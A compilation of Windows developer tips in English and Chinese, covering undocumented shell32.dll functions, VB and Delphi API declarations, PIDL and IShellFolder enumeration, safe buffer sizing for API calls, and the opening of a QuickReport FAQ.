worry about using unicode strings on Windows NT and ansi

strings on Windows 95. The string-related MRU functions

all accept ansi strings, regardless of the operating system

(although, internally, the string data is stored in unicode on

Windows NT).

What's even nicer, though, is that there are also uni-

code equivalents of all the string-related functions if you

need them (although they're only available on NT). If you

do use them, though, don't forget that your string compari-

son function will also have to accept unicode strings. The

effected functions are CreateMRUList, AddMRUString,

FindMRUString and EnumMRUList (ordinals 400 to 403).

Unfortunately, if you're using a binary list on NT, you

have to use the wide-string version of EnumMRUList (the

ansi version has a bug in it which prevents it from returning

the item data). Of course, if you need your application to

run on Windows 95 as well, you'll have to link to the

function at run-time with GetProcAddress (it gets rather

messy). I guess that's one of the reasons why they don't

documented this stuff.


Shell File Menus

All function export form shell32.dll

Creating a Menu

HMENU WINAPI FileMenu_Create(

COLORREF crBorderColor,

int nBorderWidth,

HBITMAP hBorderBmp,

int nSelHeight,

UINT uFlags); index 114;

hBorderBmp specifies the bitmap to use; nBorderWidth gives the width of the bitmap; and crBorderColor specifies the color used to fill in the area above the bitmap.If you don't want a border, you can just set them all to NULL.The nSelHeight parameter specifies the height of the menu selection bar. You can give any value you want but you would typically just set it to one of the constants in Figure 2. FM_FULL_SELHEIGHT specifies that the selection bar should cover the full height of the menu item. FM_DEFAULT_SELHEIGHT is the same as FM_FULL_SELHEIGHT when using large icons, but with small icons you get a one pixel border on the top and bottom

FM_FULL_SELHEIGHT -1

FM_DEFAULT_SELHEIGHT 0

Figure 2 nSelHeight Constants

The uFlags parameter enables you to choose whether you want large or small icons, and whether the menu should

wrap onto multiple columns when it is too big to fit on the screen. The latter feature only applies when you're adding files to the menu though. See Figure 3 for a list of the possible flag values.

FMF_SMALL_ICONS 0x00

FMF_LARGE_ICONS 0x08

FMF_NO_COLUMN_BREAK 0x10

Figure 3 Create Flags

Destroying a menu is fortunately a lot

easier. You just call FileMenu_Destroy (the

FMF_SMALL_ICONS 0x00

FMF_LARGE_ICONS 0x08

FMF_NO_COLUMN_BREAK 0x10

Figure 3 Create Flags

function declaration is also in Figure 1), passing it the handle returned from FileMenu_Create. The ordinal value for FileMenu_Destroy is 118. The ordinal for FileMenu_Create is 114.

void WINAPI FileMenu_Destroy(HMENU hMenu); index 118;

BOOL WINAPI FileMenu_AppendItem(HMENU hMenu,LPCSTR lpszText,UINT uID,int iIcon,HMENU hMenuPopup,int ItemHeight); index 115


一些未公开的Shell32.dll函数

SHUpdateRecycleBinIcon

Option Explicit

' ====================================================

' A demo of a dozen undocumented Shell32.dll functions

' ====================================================

' Brought to you by:

' Brad Martinez

' btmtz@msn.com

' btmtz@aol.com

' http://members.aol.com/btmtz/vb

' This demo would not have happened if it weren't for the function prototypes

' found at Chris Becke's site:

' http://www.dbn.lia.net/chris/ <chris@dbn.lia.net>

' I thank him for making this information available.

' ====================================================

' All of the Shell32.dll functions demonstrated are exported only by ordinal

' (NONAME) and are not know to be documented by Microsoft. As a result,

' they are most likely not supported by Microsoft and may very well not be

' included in future versions of Shell32.dll. Use them at your own risk.

' Each function's syntax and description was derived and tested solely by

' the author. The functions were also renamed from what may have been

' their original exported name in the debug version of the library, to slightly

' more intuitive names (since only the ordinals are shown in an export dump

' of Shell32.dll). It is suggested that developers who decide to implement

' these functions, maintain the names that are used here to avoid confusion.

' Here is the list:

' Ord Hidden name param bytes Renamed to

' === ========== ========= =========

' 59 _RestartDialog 12 SHRestartSystemMB

' 60 ? 4 SHShutDownDialog

' 61 ? 24 SHRunDialog

' 62 _PickIconDlg 16 SHChangeIconDialog

' 31 _PathFindExtension 4 SHGetExtension

' 32 _PathAddBackslash 4 SHAddBackslash

' 34 _PathFindFileName 4 SHGetFileName

' 40 _PathIsRelative 4 SHPathIsRelative

' 43 _PathIsExe 4 SHPathIsExe

' 45 _PathFileExists 4 SHFileExists

' 52 _PathGetArgs 4 SHGetPathArgs

' 92 _PathGetintPath 4 SHGetShortPathName

' IMPORTANT NOTE: Unlike most documented Win32 API functions, the

' functions that accept string parameters (all but SHShutDownDialog),

' expect strings in either the ANSII or Unicode character set, depending

' on the Windows platform the function is called from (i.e. no separate

' ANSII "A" or Wide "W" function versions).

' In order for a function to return an accurate value (and reduce the potential

' for a fatal exception), the function must be passed ANSII strings when

' called in Win95, and must be passed Unicode strings when called in WinNT.

' Note the explicit use of the global "g_fIsWinNT" flag throughout the demo

' and the corresponding call to VB's StrConv function (equivalent to using the

' MultiByteToWideChar API) that converts ANSII strings to their Unicode

' equivalent when g_fIsWinNT evaluates to True.

' If it is found that any of the information in this demo proves to be inaccurate

' or incomplete, the author would appreciate notification at either of the email

' addresses above so that it can be corrected.

' Thanks and enjoy, Brad Martinez

' Developed and tested with VB4.0a-32 on both Win95 v4.00.950a and WinNT

' v4.0 Server SP2.

' ======================================================

' Dialog functions (sorted by ordinal):

' ======================================================

' The "System Settings Change" message box.

' ("You must restart your computer before the new settings will take effect.")

Declare Function SHRestartSystemMB Lib "shell32" Alias "#59" _

(ByVal hOwner As Long, _

ByVal sPrompt As String, _

ByVal uFlags As Long) As Long

' hOwner = Message box owner, specify 0 for desktop (will be top-level)

' sPrompt = Specified prompt string placed above the default prompt.

' uFlags = Can be the following values:

' WinNT

' Appears to use ExitWindowsEx uFlags values and behave accordingly:

Public Const EWX_LOGOFF = 0

Public Const EWX_SHUTDOWN = 1 ' NT: needs SE_SHUTDOWN_NAME privilege (no def prompt)

Public Const EWX_REBOOT = 2 ' NT: needs SE_SHUTDOWN_NAME privilege

Public Const EWX_FORCE = 4

Public Const EWX_POWEROFF = 8 ' NT: needs SE_SHUTDOWN_NAME privilege

' Win95

' Any Yes selection produces the eqivalent to ExitWindowsEx(EWX_FORCE, 0) (?)

' (i.e. no WM_QUERYENDSESSION or WM_ENDSESSION is sent!).

' Other than is noted below, it was found that any other value shuts the system down

' (no reboot) and includes the default prompt.

' Shuts the system down (no reboot) and does not include the default prompt:

Public Const shrsExitNoDefPrompt = 1

' Reboots the system and includes the default prompt.

Public Const shrsRebootSystem = 2 ' = EWX_REBOOT

' Rtn vals: Yes = 6 (vbYes), No = 7 (vbNo)

'----------------------------

' The Shut Down dialog via the Start menu

Declare Function SHShutDownDialog Lib "shell32" Alias "#60" _

(ByVal YourGuess As Long) As Long

'----------------------------

' The Run dialog via the Start menu

Declare Function SHRunDialog Lib "shell32" Alias "#61" _

(ByVal hOwner As Long, _

ByVal Unknown1 As Long, _

ByVal Unknown2 As Long, _

ByVal szTitle As String, _

ByVal szPrompt As String, _

ByVal uFlags As Long) As Long

' hOwner = Dialog owner, specify 0 for desktop (will be top-level)

' Unknown1 = ?

' Unknown2 = ?, non-zero causes gpf! strings are ok...(?)

' szTitle = Dialog title, specify vbNullString for default ("Run")

' szPrompt = Dialog prompt, specify vbNullString for default ("Type the name...")

' If uFlags is the following constant, the string from last program run

' will not appear in the dialog's combo box (that's all I found...)

Public Const shrdNoMRUString = &H2 ' 2nd bit is set

' If there is some way to set & rtn the command line, I didn't find it...

' Always returns 0 (?)

'----------------------------

' The "Change Icon" dialog.

Declare Function SHChangeIconDialog Lib "shell32" Alias "#62" _

(ByVal hOwner As Long, _

ByVal szFilename As String, _

ByVal Reserved As Long, _

lpIconIndex As Long) As Long

' hOwner = Dialog owner, specify 0 for desktop (will be top-level)

' szFilename = The initially displayed filename, filled on selection.

' Should be allocated to MAX_PATH (260) in order to

' receive the selected filename's path.

' Reserved = ?

' lpIconIndex = Pointer to the initially displayed filename's icon index,

' and is filled on icon selection.

' Rtns non-zero on select, zero if cancelled.

' ======================================================

' Path functions (sorted by ordinal):

' ======================================================

' Rtns pointer to the last dot in szPath and the string following it.

' (includes the dot with the extension)

' Rtns 0 if szPath contains no dot.

' For the function to succeed, szPath should be null terminated

' and be allocated to MAX_PATH bytes (260).

' Does not check szPath for validity.

' (could be called "GetStrAtLastDot")

Declare Function SHGetExtension Lib "shell32" Alias "#31" _

(ByVal szPath As String) As Long

'----------------------------

' Inserts a backslash before the first null char in szPath.

' szPath is unchanged if it already contains a backslash

' before the first null char or contains no null char at all.

' Rtn pointer to?

' Does not check szPath for validity.

' (the name almost fits...)

Declare Function SHAddBackslash Lib "shell32" Alias "#32" _

(ByVal szPath As String) As Long

'----------------------------

' Rtn a pointer to the string in szPath after the last backslash.

' Rtns 0 if szPath contains no backslash or no char follows the last backslash.

' For the function to succeed, szPath should be null terminated

' and be allocated to MAX_PATH bytes (260).

' Does not check szPath for validity.

' (could be called "GetStrAfterLastBackslash")

Declare Function SHGetFileName Lib "shell32" Alias "#34" _

(ByVal szPath As String) As Long

'----------------------------

' Rtns non-zero if szPath does not evaluate to a UNC path.

' (if either the first char is not a backslash "\" or the 2nd char is not a colon ":")

' Does not check szPath for validity.

' (the name almost fits...)

Declare Function SHPathIsRelative Lib "shell32" Alias "#40" _

(ByVal szPath As String) As Long

'----------------------------

' Rtns non-zero if szPath has an executable extension.

' (if last 4 char are either ".exe", ".com", ".bat" or ".pif")

' Does not check szPath for validity.

' (could be called "HasExeExtension")

Declare Function SHPathIsExe Lib "shell32" Alias "#43" _

(ByVal szPath As String) As Long

'----------------------------

' Rtns non-zero if szPath is valid absolute UNC path.

' Accepts file, folder or network paths.

' Rtns True for a relative path only if it exists in the curdir.

' (the name actually fits...)

Declare Function SHFileExists Lib "shell32" Alias "#45" _

(ByVal szPath As String) As Long

'----------------------------

' Rtns a pointer to the string after first space in szPath.

' Rtns null pointer if szPath contains no space or no char

' following the first space.

' For the function to succeed, szPath should be null terminated

' and be allocated to MAX_PATH bytes (260).

' Does not check szPath for validity.

' (could be called "GetStrAfterFirstSpace")

Declare Function SHGetPathArgs Lib "shell32" Alias "#52" _

(ByVal szPath As String) As Long

'----------------------------

' Fills szPath w/ it's DOS (8.3) file system string.

' If successful, rtns non-zero (sometimes is a pointer to szPath, sometimes not!)

' Rtns zero if path is invalid.

' szPath must be a valid absolute path.

' Rtns non-zero for a relative path only if it exists in the curdir.

' For the function to work correctly, szPath should be null terminated

' and be allocated to MAX_PATH bytes (260).

' (the name definately fits...)

Declare Function SHGetShortPathName Lib "shell32" Alias "#92" _

(ByVal szPath As String) As Long

' ======================================================

' A few slightly more familiar APIs...

' Maximun long filename path length

Public Const MAX_PATH = 260

Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" _

(ByVal lpBuffer As String, _

ByVal nSize As Long) As Long

Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" _

(ByVal lpszFile As String, _

ByVal nIconIndex As Long, _

phiconLarge As Long, _

phiconSmall As Long, _

ByVal nIcons As Long) As Long

Declare Function DrawIconEx Lib "user32" _

(ByVal hDC As Long, _

ByVal xLeft As Long, _

ByVal yTop As Long, _

ByVal hIcon As Long, _

ByVal cxWidth As Long, _

ByVal cyWidth As Long, _

ByVal istepIfAniCur As Long, _

ByVal hbrFlickerFreeDraw As Long, _

ByVal diFlags As Long) As Boolean

' DrawIconEx() diFlags values:

Public Const DI_MASK = &H1

Public Const DI_IMAGE = &H2

Public Const DI_NORMAL = &H3

Public Const DI_COMPAT = &H4

Public Const DI_DEFAULTSIZE = &H8

Declare Function DestroyIcon Lib "user32" _

(ByVal hIcon As Long) As Long

'

' Terminates sPath w/ null chars making

' the return string MAX_PATH chars long.

Public Function MakeMaxPath(ByVal sPath As String) As String

MakeMaxPath = sPath & String$(MAX_PATH - Len(sPath), 0)

End Function

' ======================================================

' Wrappers for Path functions (see respective API description above):

Public Function GetExtension(sPathIn) As String

Dim sPathOut As String

sPathOut = MakeMaxPath(sPathIn)

If g_fIsWinNT Then sPathOut = StrConv(sPathOut, vbUnicode)

' Does not fill sPathOut w/ ext., just rtns ptr to ext

GetExtension = GetStrFromPtr(SHGetExtension(sPathOut), Len(sPathOut))

End Function

Public Function NormalizePath(sPathIn As String) As String

Dim sPathOut As String

sPathOut = sPathIn & vbNullChar

If g_fIsWinNT Then sPathOut = StrConv(sPathOut, vbUnicode)

SHAddBackslash sPathOut

NormalizePath = GetStrFromBuffer(sPathOut)

End Function

Public Function GetFileName(sPathIn As String) As String

Dim sPathOut As String

sPathOut = MakeMaxPath(sPathIn)

If g_fIsWinNT Then sPathOut = StrConv(sPathOut, vbUnicode)

GetFileName = GetStrFromPtr(SHGetFileName(sPathOut), MAX_PATH)

End Function

Public Function IsPathRelative(sPath As String) As Boolean

If g_fIsWinNT Then

IsPathRelative = SHPathIsRelative(StrConv(sPath, vbUnicode))

Else

IsPathRelative = SHPathIsRelative(sPath)

End If

End Function

Public Function IsPathExe(sPath As String) As Boolean

If g_fIsWinNT Then

IsPathExe = SHPathIsExe(StrConv(sPath, vbUnicode))

Else

IsPathExe = SHPathIsExe(sPath)

End If

End Function

Public Function FileExists(sPath As String) As Boolean

If g_fIsWinNT Then

FileExists = SHFileExists(StrConv(sPath, vbUnicode))

Else

FileExists = SHFileExists(sPath)

End If

End Function

Public Function GetArgs(sPathIn As String) As String

Dim sPathOut As String

sPathOut = MakeMaxPath(sPathIn) ' sPathIn

If g_fIsWinNT Then sPathOut = StrConv(sPathOut, vbUnicode)

GetArgs = GetStrFromPtr(SHGetPathArgs(sPathOut), Len(sPathOut))

End Function

Public Function GetShortPath(sPathIn As String) As String

Dim sPathOut As String

sPathOut = MakeMaxPath(sPathIn) ' path could be longer...!

If g_fIsWinNT Then sPathOut = StrConv(sPathOut, vbUnicode)

SHGetShortPathName sPathOut

GetShortPath = GetStrFromBuffer(sPathOut)

End Function


系统属性对话框

For Win2000：

function SHFileProperties(handle:hwnd;uflags:dword;name:pchar;str:pchar):dword;stdcall;external 'shell32.dll' index 178;

SHFileProperties(handle,2,'','');


获取Shell窗口句柄

获取Shell窗口句柄？

...retrieve the handle to the Windows Shell window?

有一个未公开的API：

{

At times, it is necessary to get a handle (HWND) to the shell's main window.

MSDN offers us next method:

hwndShell := FindWindow('Progman', nil);

It seems to be a simple code but I've found much better solution.

The User32.dll has one more useful and of course

undocumented function - GetShellWindow!

}

// This example will show you how you can obtain a handle to the

// Windows Shell window without calling the FindWindow function.

// Translated from C to Delphi by Thomas Stutz

// Original Code:

// (c)1999 Ashot Oganesyan K, SmartLine, Inc

// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

// This function returns a handle to the Windows Shell window

function ShellWindow: HWND;

type

TGetShellWindow = function(): HWND; stdcall;

var

hUser32: THandle;

GetShellWindow: TGetShellWindow;

begin

Result := 0;

hUser32 := GetModuleHandle('user32.dll');

if (hUser32 > 0) then

begin

@GetShellWindow := GetProcAddress(hUser32, 'GetShellWindow');

if Assigned(GetShellWindow) then

begin

Result := GetShellWindow;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

hShellWindow: Hwnd;

strWinText: array[0..260] of char;

begin

hShellWindow := ShellWindow;

if hShellWindow <> 0 then

begin

GetWindowText(ShellWindow, strWinText, 255);

ShowMessage(strWinText);

end;

end;


回收站文件个数和大小总和

回收站文件个数和大小总和

get the number of Files in the Recycle Bin and their total size?

type

PSHQueryRBInfo = ^TSHQueryRBInfo;

TSHQueryRBInfo = packed record

cbSize: DWORD;

// Size of the structure, in bytes.

// This member must be filled in prior to calling the function.

i64Size: Int64;

// Total size of all the objects in the specified Recycle Bin, in bytes.

i64NumItems: Int64;

// Total number of items in the specified Recycle Bin.

end;

const

shell32 = 'shell32.dll';

function SHQueryRecycleBin(szRootPath: PChar; SHQueryRBInfo: PSHQueryRBInfo): HResult;

stdcall; external shell32 Name 'SHQueryRecycleBinA';

function GetDllVersion(FileName: string): Integer;

var

InfoSize, Wnd: DWORD;

VerBuf: Pointer;

FI: PVSFixedFileInfo;

VerSize: DWORD;

begin

Result := 0;

InfoSize := GetFileVersionInfoSize(PChar(FileName), Wnd);

if InfoSize <> 0 then

begin

GetMem(VerBuf, InfoSize);

try

if GetFileVersionInfo(PChar(FileName), Wnd, InfoSize, VerBuf) then

if VerQueryValue(VerBuf, ', Pointer(FI), VerSize) then

Result := FI.dwFileVersionMS;

finally

FreeMem(VerBuf);

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

DllVersion: integer;

SHQueryRBInfo: TSHQueryRBInfo;

r: HResult;

begin

DllVersion := GetDllVersion(PChar(shell32));

if DllVersion >= $00040048 then

begin

FillChar(SHQueryRBInfo, SizeOf(TSHQueryRBInfo), #0);

SHQueryRBInfo.cbSize := SizeOf(TSHQueryRBInfo);

R := SHQueryRecycleBin(nil, @SHQueryRBInfo);

if r = s_OK then

begin

label1.Caption := Format('Size:%d Items:%d',

[SHQueryRBInfo.i64Size, SHQueryRBInfo.i64NumItems]);

end

else

label1.Caption := Format('Err:%x', [r]);

end;

end;

{

The SHQueryRecycleBin API used in this method is

only available on systems with the latest shell32.dll installed with IE4 /

Active Desktop.

}


操作Windows的namespace对象--如何使用对象标志符列表(PIDL)

操作Windows的namespace对象--如何使用对象标志符列表(PIDL)

Windows95在它的新外壳(Shell)中引入了一些新的对象，这些对象无法在文件系统中与之对应（例如，打印机文件夹及其内部的对象）。这些对象无法用“路径”来标志它们，因此Windows又引入了对象标志符(Item Identifier)和对象标志符列表(Item Identifier List)。每一个对象在它的所有者容器(container)对象(通常是一个文件夹)中有一个唯一的对象标志符(不同所有者的两个对象可能拥有相同的对象标志符)，而一个对象是由一系列的标志符来唯一识别，这一系列的标志中包含最顶层的namespace的根对象--桌面(Desktop)，以及所有的容器对象，最后是对象自己，这就是对象标志符列表。

一个对象标志符有一个很简单的数据结构(ShlObj.pas):

_SHITEMID = record

cb: Word; { ID的大小(包含cb在内) }

abID: array[0..0] of Byte; { 对象ID (可变长度) }

end;

abID部分的长度是可变的，它的内容是由管理这个对象的Shell扩展程序来定义的。

一个对象标志符列表的结构甚至更简单一些(ShlObj.pas)：

_ITEMIDLIST = record

mkid: TSHItemID;

end;

一个对象标志符列表是由若干个对象标志符一个接一个形成的链式结构，最后以一个将cb域设为0的空的标志符来作为结束标志。对象标志符列表通常使用指针来操作，称为PIDL(Pointer to Item iDenfifier List)。PIDL使用IMalloc接口(interface)来分配空间和释放，这个接口可以通过调用SHGetMalloc()来获取。

这里有两种对象标志符列表，绝对列表和相对列表。绝对列表从namespace的根对象开始，而相对列表从对象的父容器对象开始。不幸的是：操作PIDL的API函数需要的是绝对列表，而接口(例如IShellFolder接口)的方法都是使用相对列表。

只有Windows 2000 API中公开提供了简单的转换PIDL的函数，在NT和W9x中却包含一大串未公开的函数(可以看看www.delphizine.com中的《The Secret World of PIDLs》文章)。

这里有一些Delphi函数来维护PIDL，这些函数是Microsoft sample C program, EnumDesk中部分函数的Pascal翻译版本：

// 分配一个新的PIDL，大小由cbSize指定，并将全部域初始化为0

function CreatePidl(cbSize: UINT): PItemIDList;

var

lpMalloc: IMalloc;

begin

if SHGetMalloc(lpMalloc) <> NOERROR then

begin

Result := nil;

Exit;

end;

Result := lpMAlloc.Alloc(cbSize);

if Result <> nil then

FillChar(Result^, cbSize, #0);

end;

// 返回PIDL列表中的下一个PIDL

function NextPidl(Pidl: PItemIDList): PItemIDList;

var

lpMem: LPSTR;

begin

lpMem := LPSTR(Pidl);

lpMem := lpMem + Pidl.mkid.cb;

Result := PItemIDList(lpMem);

end;

// 返回PIDL的大小(一个列表可能含有一个或者多个IDL)

function GetPidlSize(Pidl: PItemIDList): UINT;

begin

Result := 0;

if Pidl <> nil then

begin

Result := SizeOf(Pidl.mkid.cb);

while Pidl.mkid.cb <> 0 do

begin

Result := Result + Pidl.mkid.cb;

Pidl := NextPidl(Pidl);

end;

end;

end;

// 连接Pidl1和Pidl2 -- 可以用于从相对列表创建绝对列表

function ConcatPidls(Pidl1, Pidl2: PItemIDList): PItemIDList;

var

cb1, cb2: UINT;

begin

if Pidl1 <> nil then // Pidl1 may be nil...

cb1 := GetPidlSize(Pidl1) - SizeOf(Pidl1.mkid.cb)

else

cb1 := 0;

cb2 := GetPidlSize(Pidl2);

Result := CreatePidl(cb1 + cb2);

if Result <> nil then

begin

if Pidl1 <> nil then

Move(Pidl1^, Result^, cb1);

Move(Pidl2^, (LPSTR(Result)+ cb1)^, cb2);

end;

end;

// 返回指定PIDL的一个新的副本，使用MAlloc接口

function CopyITEMID(Pidl: PItemIDList; MAlloc: IMAlloc): PItemIDList;

begin

Result := MAlloc.Alloc(Pidl.mkid.cb + SizeOf(Pidl.mkid.cb));

Move(Pidl^, Result^, Pidl.mkid.cb + SizeOf(Pidl.mkid.cb));

end;

在IShellFolder提供许多SHxxxxx函数使我们可以获取和操作PIDLs。

这里是其中部分最常用的函数(声明在ShlObj.pas)，你可以查阅Windows SDK Help文档来获取它们的详细信息。

SHGetSpecialFolderLocation() 获取指定文件夹的PIDL，例如桌面(Desktop)、我的电脑(My Computer)等等。

SHGetPathFromIDList() 返回PIDL在文件系统中的路径（如果存在的话）。

SHChangeNotify() 通知外壳(Shell)应用程序执行了某项操作需要外壳更新自已（例如重命名一个文件夹）。

SHGetFileInfo() 返回大量有关namespace对象的信息：图标、类型、属性、显示名称等等，可用于返回系统ImageList的句柄(handle)。同时接收PIDL或者路径参数。

SHAddToRecentDocs() 将一个文档增加到外壳(Shell)的最近使用文档的列表中，或者清空这个列表。同时接收PIDL或者路径参数。

SHBrowseForFolder() 显示一个对话框让用户可以选择一个外壳(Shell)文件夹，并返回其PIDL。


使用IShellFolder接口--如何列举一个文件夹的内容

使用IShellFolder接口--如何列举一个文件夹的内容

为了列举Windows的Namespace中的对象，我们不得不使用到IShellFolder接口。每个容器对象（通常是文件夹）都必须实现这个接口。

以下是IShellFolder的声明 (ShlObj.pas):

IShellFolder = interface(IUnknown)

[SID_IShellFolder]

function ParseDisplayName(hwndOwner: HWND;

pbcReserved: Pointer; lpszDisplayName: POLESTR; out pchEaten: ULONG;

out ppidl: PItemIDList; var dwAttributes: ULONG): HResult; stdcall;

function EnumObjects(hwndOwner: HWND; grfFlags: DWORD;

out EnumIDList: IEnumIDList): HResult; stdcall;

function BindToObject(pidl: PItemIDList; pbcReserved: Pointer;

const riid: TIID; out ppvOut): HResult; stdcall;

function BindToStorage(pidl: PItemIDList; pbcReserved: Pointer;

const riid: TIID; out ppvObj): HResult; stdcall;

function CompareIDs(lParam: LPARAM;

pidl1, pidl2: PItemIDList): HResult; stdcall;

function CreateViewObject(hwndOwner: HWND; const riid: TIID;

out ppvOut): HResult; stdcall;

function GetAttributesOf(cidl: UINT; var apidl: PItemIDList;

var rgfInOut: UINT): HResult; stdcall;

function GetUIObjectOf(hwndOwner: HWND; cidl: UINT; var apidl: PItemIDList;

const riid: TIID; prgfInOut: Pointer; out ppvOut): HResult; stdcall;

function GetDisplayNameOf(pidl: PItemIDList; uFlags: DWORD;

var lpName: TStrRet): HResult; stdcall;

function SetNameOf(hwndOwner: HWND; pidl: PItemIDList; lpszName: POLEStr;

uFlags: DWORD; var ppidlOut: PItemIDList): HResult; stdcall;

end;

主要的方法就是EnumObjects()和BindToObject()。前者用于列举当前文件夹中的对象，后者用于获取容器对象的IShellFolder接口。

EnumObjects()返回一个IEnumIDList接口，用于遍历所有的对象。通过grfFlags参数，你可以控制列举的对象类型，这个参数可以是以下值或其组合：

SHCONTF_FOLDERS = 32, // for shell browser

SHCONTF_NONFOLDERS = 64, // for default view

SHCONTF_INCLUDEHIDDEN = 128, // for hidden or system objects

IEnumIDList的声明如下：

IEnumIDList = interface(IUnknown)

[SID_IEnumIDList]

function Next(celt: ULONG; out rgelt: PItemIDList;

var pceltFetched: ULONG): HResult; stdcall;

function Skip(celt: ULONG): HResult; stdcall;

function Reset: HResult; stdcall;

function Clone(out ppenum: IEnumIDList): HResult; stdcall;

end;

Next()返回一个PIDL（对象标志符列表指针）数组，上至"celt"。"pceltFetched"保存获取的PIDL的数目。Skip()向前移动"celt"对象，而Reset()返回列举列表的最开始处。使用Clone()方法你可以得到一个与当前状态相同的IEnumIDList接口的拷贝，非常有用，例如你可以在列举的时候放置一个“书签”。

这里是一个列举桌面上所有对象的例子：

...

var

Desktop: IShellFolder

EnumIDLIst: IEnumIDList;

CurPidl: PItemIDLIst;

Fetched: ULONG;

begin

if SHGetDesktopFolder(Desktop) <> NOERROR then

begin

if Desktop.EnumObjects(Handle, SHCONTF_FOLDERS, EnumIDList) = NOERROR then

begin

// Retrieve objects one at a time...

while EnumIDList.Next(1, CurPidl, Fetched) = S_OK do

begin

... // Add code here to do something with the objects

CoTaskMemFree(CurPidl); // Remember to free PIDLs!

end;

end;

end;

end;

要列举一个子文件夹的内容，我们必须获取它的IShellFodler接口。如果父文件夹已经包含了一个IShellFodler接口，而且ChildPidl包含一个有效的子文件夹的PIDL（例如用IEnumIDList.Next()返回的），我们可以这样做：

var

ChildFolder: IShellFolder;

...

if ParentFolder.BindToObject(ChildPidl, nil, IID_IShellFolder, pointer(ChildFolder)) <> NOERROR then

begin

with ChildFolder do

begin

// 使用新的IShellFolder接口做些事情...

end;

end;

IShellFolder其余的方法用于操作对象：

ParseDisplayName() 用于将一个显示名称（例如路径）翻译为对象标志符列表。

CompareIDs() 判断两个文件对象或者文件夹的相对顺序，使用它们的对象标志符列表。

GetAttributeOf() 获取一个或者多个文件对象或者子文件夹的属性。可以为以下值：

SFGAO_CANCOPY 指定文件对象或者文件夹可以被复制

SFGAO_CANDELETE 指定文件对象或者文件夹可以被删除

SFGAO_CANLINK 可以给指定文件对象或者文件夹生成快捷方式

SFGAO_CANMOVE 指定文件对象或者文件夹可以被移动

SFGAO_CANRENAME 指定文件对象或者文件夹可以被重命名

SFGAO_CAPABILITYMASK 性能(capability)标志位掩码

SFGAO_DROPTARGET 指定文件对象或者文件夹是拖动目标(drop target)

SFGAO_HASPROPSHEET 指定文件对象或者文件夹有属性页

SFGAO_DISPLAYATTRMASK 显示属性掩码

SFGAO_GHOSTED The 指定文件对象或者文件夹显示时应该使用虚图标

SFGAO_LINK 指定文件对象是快捷方式

SFGAO_READONLY 指定文件对象或者文件夹是只读的

SFGAO_SHARE 指定文件夹是共享的

SFGAO_CONTENTSMASK 内容属性掩码

SFGAO_HASSUBFOLDER 指定文件夹含有子文件夹(因此，可以在Windows的Explorer的左边面板里展开

SFGAO_FILESYSTEM 指定文件对象或者文件夹是系统文件的一部分

SFGAO_FILESYSANCESTOR 指定文件夹包含一个或者多个系统文件夹

SFGAO_FOLDER 指定对象是文件夹

SFGAO_REMOVABLE 指定文件对象或者文件夹在可移动介质上（如软盘）

例如，我们可以使用GetAttributeOf来选择对应的图标。

GetDisplayNameOf()和SetName()获取或者设置对象名。

注意，显示名是用一个不同的结构返回的：

_STRRET = record

uType: UINT; { One of the STRRET_* values }

case Integer of

0: (pOleStr: LPWSTR); { must be freed by caller }

1: (pStr: LPSTR); { NOT USED }

2: (uOffset: UINT); { Offset into SHITEMID (ANSI) }

3: (cStr: array[0..MAX_PATH-1] of Char); { Buffer to fill in }

end;

uType告诉我们哪个字段保存了名称。注意：pOleStr必须由调用者释放！


Winapi

下载>>>> Winapi.rar


使用API的一个注意之处

我们知道，很多情况下，Windows API函数都需要一个缓冲区，例如以获取临时目录的API GetTempPath为例，这个函数需要一个Buffer用来存放返回的目录名称，而很多人代码(包括许多高手和Borland的专家)是这样写的：

function GetTempDirectory: String;

var

TempDir: array[0..255] of Char;

begin

GetTempPath(255, @TempDir);

Result := StrPas(TempDir);

end;

很明显，如果临时目录的名称超过256，那么就会发生缓冲区溢出，得到的数据也不完全，实际上，临时目录全路径很可能超过256，Windows的长文件名是指这个目录或者文件的名字的限制，不是Full path/name的限制！那么象这种函数该怎么来使用呢？

一般地，需要缓冲区的函数，我们需要调用两次！第一次调用是为了获得缓冲区的长度，然后第二次才是真正的调用，以上面的为例，真正正确的写法应该是：

function GetTempDirectory:string;

var

Len:integer;

begin

Len := GetTempPath(0,nil);

SetLength(Result,Len + 1);

GetTempPath(Len,@Result[1]);

end;

其他类似的函数如GetComputerName等等，都应该如此使用。


Quick Report FAQ [ 1 ]

QuickReport Knowledge Base (kb.txt)

Frequently asked Questions (and Answers) and other tips

Copyright 2000 Qusoft AS

Visit our web site at http://www.qusoft.com

You will want to turn word wrapping on when viewing this file.

Revision 2.64

Last updated on January 4, 2000

QuickReport 3 specific items will start with the text "(QR3)" or will appear in their own section. Delphi 4 items will start with "(D4)"

We have added a QuickReport 3 Release Notes web page at http://www.qusoft.com/relnotesqr3.htm which will contain the latest news on QR3.

The PDF versions of this file were created automatically using code provided by TK Cham. He has a web site at http://members.xoom.com/tkcham/pdfindex.html

[Adding reports and/or controls at runtime]

==================

Q. How do I create a group band at runtime?

A. You can call the band's create constructor and set it's properties.

with TQRGroup.Create(Self) do

begin

Parent := QuickRep1;

Master := Parent;

Expression := 'CustNo';

end;

with TQRDBText.Create(Self) do

begin

Parent := QRGroup1;

Dataset := QuickRep1.Dataset;

DataField := 'CustNo';

end

------------------

Q. When I use QRCreateList() it looks like it's finding fields from the current record in another dataset. The other dataset has the same field names as the one that I am passing to QRCreateList().

A. The problem is in the field names. The QRCreateList adds TQRExpr controls to the report and sets the expression to the field name without the table name. When the report runs, QuickReport searches until it finds the first matching field name. Without the table name, it will use the first dataset that has a matching a field name. This is a known bug and will be addressed in a future release. That's the bad news. The good news is that you can easily alter the report after calling QRCreatelist and add the table name to the expression.

Example:

QRCreateList(aReport, Self, MyTable, 'Customer Listing', SomeFields);

{ Search the detail band for any TQRExpr controls and insert }

{ the table name after the left bracket in the expression }

for nIdx := 0 to aReport.Bands.DetailBand.ControlCount -1 do

if aReport.Bands.DetailBand.Controls[nIdx] is TQRExpr then

with TQRExpr(aReport.Bands.DetailBand.Controls[nIdx]) do

Expression := '[' + aReport.DataSet.Name + '.' + copy(Expression, 2, 99);

(QR3) This has been fixed for QuickReport 3. Also with QR3, areport must be of type TCustomQuickRep

------------------

Q. When I create a report at runtime and pass it to QRCreateList(), it does not use my title.

